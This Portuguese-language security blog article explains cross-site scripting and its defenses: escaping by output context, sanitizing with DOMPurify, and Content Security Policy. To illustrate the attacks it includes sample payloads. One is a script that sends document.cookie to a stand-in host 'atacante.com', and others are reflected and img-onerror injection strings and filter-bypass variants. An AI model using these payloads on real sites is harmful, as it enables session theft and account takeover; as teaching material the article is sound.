Pular para o conteúdo
Categoria: Segurança da Informação12 min de leitura

O que é XSS (Cross-Site Scripting)?

Por Schematize Blog ·

Conheça os tipos de XSS, o impacto real de scripts maliciosos no navegador e como se proteger com escape por contexto, sanitização de HTML e Content Security Policy.

Quando uma aplicação web exibe na tela algo que um usuário enviou — um comentário, um nome, uma busca — sem o devido cuidado, ela pode acabar executando código de um atacante no navegador de outra pessoa. Esse é o coração do XSS (Cross-Site Scripting), uma das falhas mais difundidas da web.

Neste artigo você vai entender por que o XSS acontece, conhecer seus principais tipos, ver o estrago que ele causa e dominar as duas defesas que realmente importam: a sanitização correta de saída e a Content Security Policy. O objetivo é que você passe a tratar todo dado vindo de fora como potencialmente perigoso — uma mudança de mentalidade que vale mais do que qualquer truque isolado.

O que é XSS

Cross-Site Scripting é uma vulnerabilidade em que um atacante consegue injetar e executar scripts (normalmente JavaScript) no navegador de outros usuários, no contexto de um site confiável. A vítima acessa uma página legítima, mas o código malicioso roda como se fosse parte dela.

A causa é a mesma família de problemas da injeção de SQL: a aplicação mistura dados (o que o usuário enviou) com código (o HTML/JS da página). Stuttard e Pinto (2011) descrevem o XSS como uma das classes de ataque mais penetrantes em aplicações web justamente porque qualquer ponto que reflete entrada do usuário é um candidato. Ele aparece historicamente na categoria de injeção do OWASP Top 10 explicado: as 10 maiores falhas de segurança web.

O nome "Cross-Site" é um resquício histórico: os primeiros ataques envolviam um site injetando script que rodava no contexto de outro. Hoje o termo cobre qualquer execução de script não autorizada no navegador da vítima, mesmo dentro de um único site. O importante não é o nome, e sim a mecânica: entrada não confiável vira código executável.

Por que a "mesma origem" torna o XSS tão grave

O navegador isola sites uns dos outros por meio da Same-Origin Policy: o JavaScript de um domínio não pode ler dados de outro. O XSS é perigoso justamente porque fura essa barreira por dentro. O script malicioso não vem de fora — ele roda como se fosse do próprio site, com plena permissão sobre cookies, armazenamento local, DOM e qualquer chamada de API que a página possa fazer. É como um intruso que conseguiu um crachá legítimo: todas as portas se abrem.

Por que o XSS é perigoso

Como o script roda no contexto do site confiável, ele herda os privilégios da sessão da vítima. Com isso, um atacante pode:

    Em resumo, o XSS transforma a confiança que o usuário tem no site em uma arma contra ele mesmo. E o pior: a vítima não tem como perceber. Para ela, está tudo normal — a URL é a correta, o cadeado de HTTPS está lá, o layout é o de sempre.

    Um exemplo concreto de roubo de sessão

    Imagine um fórum vulnerável. O atacante publica um comentário contendo:

    <script>
      fetch('https://atacante.com/coletar?c=' + document.cookie);
    </script>

    Toda vez que alguém abre a página do comentário, o navegador executa esse script, envia o cookie de sessão da vítima para o servidor do atacante, e este passa a poder se autenticar como a vítima. Nenhum clique extra é necessário — basta visualizar a página. Esse cenário ilustra por que o XSS armazenado é tratado como crítico.

    Os três tipos de XSS

    Entender as variações é essencial porque cada uma exige atenção em pontos diferentes do código.

    XSS Refletido (Reflected)

    O script malicioso vem em uma requisição — tipicamente um parâmetro de URL — e é refletido de volta na resposta sem tratamento. O ataque depende de convencer a vítima a clicar em um link preparado:

    https://site.com/busca?q=<script>roubarCookie()</script>

    Se a página exibir o termo buscado sem escapar, o script roda. Como o payload não fica salvo, o atacante precisa de um vetor de entrega: e-mail de phishing, link em rede social, anúncio malicioso. É menos grave que o armazenado porque atinge uma vítima por vez e exige interação, mas continua perigoso, sobretudo combinado com engenharia social.

    XSS Armazenado (Stored)

    O mais grave. O script é salvo no servidor (em um comentário, perfil ou post) e servido a todos que visualizam aquele conteúdo. Não exige link especial: qualquer visitante da página é atingido automaticamente. Um único comentário malicioso pode afetar milhares de usuários.

    Por afetar todos os visitantes e não exigir interação, o XSS armazenado tem o maior potencial de dano e é o que mais se aproxima de um ataque "automático". Campos de comentário, biografias de perfil, nomes de usuário, descrições de produto e qualquer conteúdo gerado por usuário que seja exibido a terceiros são alvos preferenciais.

    XSS Baseado em DOM (DOM-based)

    Aqui a falha está no JavaScript do próprio cliente, que lê dados de uma fonte controlável (como a URL, o localStorage ou o postMessage) e os escreve no DOM de forma insegura, por exemplo via innerHTML. O servidor pode nem ver o payload — tudo acontece no navegador.

    // VULNERÁVEL — escreve no DOM dado vindo da URL sem tratar
    const termo = new URLSearchParams(location.search).get('q');
    document.getElementById('resultado').innerHTML = 'Você buscou: ' + termo;

    Se a URL contiver ?q=<img src=x onerror=alert(1)>, o atributo onerror dispara código. Como o payload pode trafegar após o # (fragmento), que nunca é enviado ao servidor, esse tipo de XSS é especialmente difícil de detectar com defesas no backend. A correção está no front: usar textContent em vez de innerHTML, ou APIs seguras de manipulação de DOM.

    Defesa 1: sanitização e escape de saída

    A defesa mais importante é escapar dados na saída, de acordo com o contexto onde eles serão inseridos. A ideia é garantir que caracteres especiais sejam exibidos como texto, e não interpretados como HTML.

      O conceito de "contexto" é tudo

      Escapar não é uma operação única; o tratamento correto depende de onde o dado entra. O mesmo caractere é inofensivo em um lugar e perigoso em outro. Veja como uma única string de usuário muda de risco conforme o contexto:

      <!-- Contexto HTML: escape de < > & " ' -->
      <p>Olá, DADO_DO_USUARIO</p>
      
      <!-- Contexto de atributo: aspas obrigatórias + escape -->
      <input value="DADO_DO_USUARIO">
      
      <!-- Contexto de JavaScript: o mais perigoso, evite injetar aqui -->
      <script>var nome = "DADO_DO_USUARIO";</script>
      
      <!-- Contexto de URL: valide o esquema, codifique -->
      <a href="DADO_DO_USUARIO">link</a>

      Aplicar o escape de HTML num atributo sem aspas, por exemplo, não impede que o atacante quebre o atributo com um espaço e injete onmouseover=.... Por isso a regra é: escape pelo contexto de destino, não com um filtro genérico.

      Frameworks modernos ajudam — mas há armadilhas

      Na prática, frameworks modernos ajudam muito. React, por exemplo, escapa por padrão o conteúdo de {variavel}:

      // SEGURO — React escapa automaticamente
      function Comentario({ texto }) {
        return <p>{texto}</p>;
      }
      
      // PERIGOSO — desativa a proteção e injeta HTML cru
      function Comentario({ texto }) {
        return <p dangerouslySetInnerHTML={{ __html: texto }} />;
      }

      O nome dangerouslySetInnerHTML é proposital: o framework está gritando que você saiu da zona segura. Outras armadilhas comuns que escapam à proteção automática: passar dados de usuário para href/src (permitindo javascript:), montar HTML por concatenação de strings, ou usar v-html no Vue e [innerHTML] no Angular. A proteção do framework cobre o caso comum; conhecer as exceções é o que evita a brecha.

      Quando você precisa aceitar HTML

      Quando você precisa aceitar HTML do usuário (um editor de texto rico, por exemplo), não escape — sanitize com uma biblioteca dedicada que remove tags e atributos perigosos, mantendo apenas uma lista de permissão segura. Bibliotecas maduras (como DOMPurify no ecossistema JavaScript) são auditadas e atualizadas contra novos vetores. Nunca confie em filtros caseiros baseados em substituição de strings, que são fáceis de burlar:

      // FRÁGIL — facilmente contornável
      texto.replace(/<script>/g, '');
      // Atacante usa <ScRiPt>, <scr<script>ipt>, ou onerror em <img>

      O atacante sempre tem mais variações do que você prevê. Use uma allowlist (lista do que é permitido) em vez de denylist (lista do que é proibido): é muito mais seguro descrever o pequeno conjunto de tags aceitas do que tentar enumerar todas as formas de ataque.

      Defesa 2: Content Security Policy (CSP)

      A Content Security Policy é um cabeçalho HTTP que instrui o navegador sobre quais fontes de script, estilo e mídia são confiáveis. Funciona como uma segunda linha de defesa: mesmo que um script malicioso escape pela sanitização, a CSP pode impedir sua execução.

      Content-Security-Policy: default-src 'self'; script-src 'self'

      Essa política, por exemplo, só permite scripts servidos pelo próprio domínio, bloqueando scripts inline injetados. Uma CSP bem configurada reduz drasticamente o impacto de um XSS, mas exige cuidado para não quebrar funcionalidades legítimas. Trate-a como complemento, nunca como substituta da sanitização.

      Como adotar CSP sem quebrar tudo

      Aplicar CSP em uma aplicação existente costuma esbarrar em scripts inline e estilos embutidos. Duas estratégias ajudam:

        Content-Security-Policy: script-src 'self' 'nonce-r4nd0m123'; object-src 'none'; base-uri 'self'

        Evite a tentação de usar 'unsafe-inline' para "fazer funcionar logo" — isso esvazia a CSP justamente contra o XSS. Diretivas como object-src 'none' e base-uri 'self' fecham vetores menos óbvios e têm baixo custo de adoção.

        Defesas complementares

        Algumas medidas adicionais fecham brechas comuns:

          Vale notar que o atributo SameSite também é peça-chave contra outro ataque relacionado, o forjamento de requisições, tema de O que é CSRF e como evitar requisições forjadas.

          Como testar sua aplicação contra XSS

          Defender é metade do trabalho; verificar é a outra. Algumas abordagens práticas:

            Esse mapeamento sistemático de "onde entrada não confiável encontra a saída" é exatamente a postura defensiva que reduz o XSS de risco crônico a exceção controlada.

            XSS no ecossistema de ataques

            O XSS dialoga diretamente com outras falhas. Ele compartilha a lógica de mistura entre código e dados do O que é SQL Injection e como se proteger, só que do lado do cliente. E, quando você expõe dados via APIs consumidas por SPAs, a sanitização precisa acompanhar — assunto de Segurança de APIs: protegendo seus endpoints. Pensar nesses elos de forma sistemática é exatamente o que propõe o exercício de Threat modeling: como pensar como um atacante, que ajuda a mapear todos os pontos onde entrada não confiável chega à sua aplicação.

            Perguntas frequentes

            Usar React ou Angular me deixa imune a XSS? Não. Esses frameworks escapam o caso comum por padrão, o que ajuda muito, mas APIs como dangerouslySetInnerHTML, v-html e a injeção de href/src continuam abrindo brechas. A responsabilidade pelo escape correto nesses pontos é sua.

            CSP sozinha resolve o XSS? Não. CSP é uma rede de segurança poderosa, mas é defesa em profundidade. Configurações permissivas (com 'unsafe-inline') a enfraquecem, e ela não corrige a causa raiz. Sanitização e escape vêm primeiro.

            Validar a entrada não basta? Não. Validação reduz a superfície, mas dados legítimos podem conter caracteres perigosos. A defesa correta é tratar o dado no momento da saída, conforme o contexto.

            XSS só afeta JavaScript? O vetor mais comum é JavaScript, mas o XSS pode injetar HTML, CSS malicioso e manipular o DOM de formas variadas. O denominador comum é a execução de conteúdo controlado pelo atacante no navegador da vítima.

            Conclusão

            O XSS persiste porque toda aplicação web precisa, em algum momento, exibir conteúdo vindo de fora. A regra fundamental é tratar todo dado externo como não confiável e neutralizá-lo no momento de exibir, escapando por contexto ou sanitizando HTML com bibliotecas dedicadas. Some a isso uma Content Security Policy robusta e cookies de sessão protegidos com HttpOnly, e você terá uma defesa em profundidade que reduz o XSS de ameaça crítica a risco residual. Confie nos seus dados; desconfie da sua entrada.

            Referências

              Leituras relacionadas

              Nenhum comentário ainda

              Seja o primeiro a comentar.

              Deixe seu comentário

              Entre com sua conta Canverly para comentar. Você pode usar a mesma conta em qualquer site da rede.

              Entrar com Canverly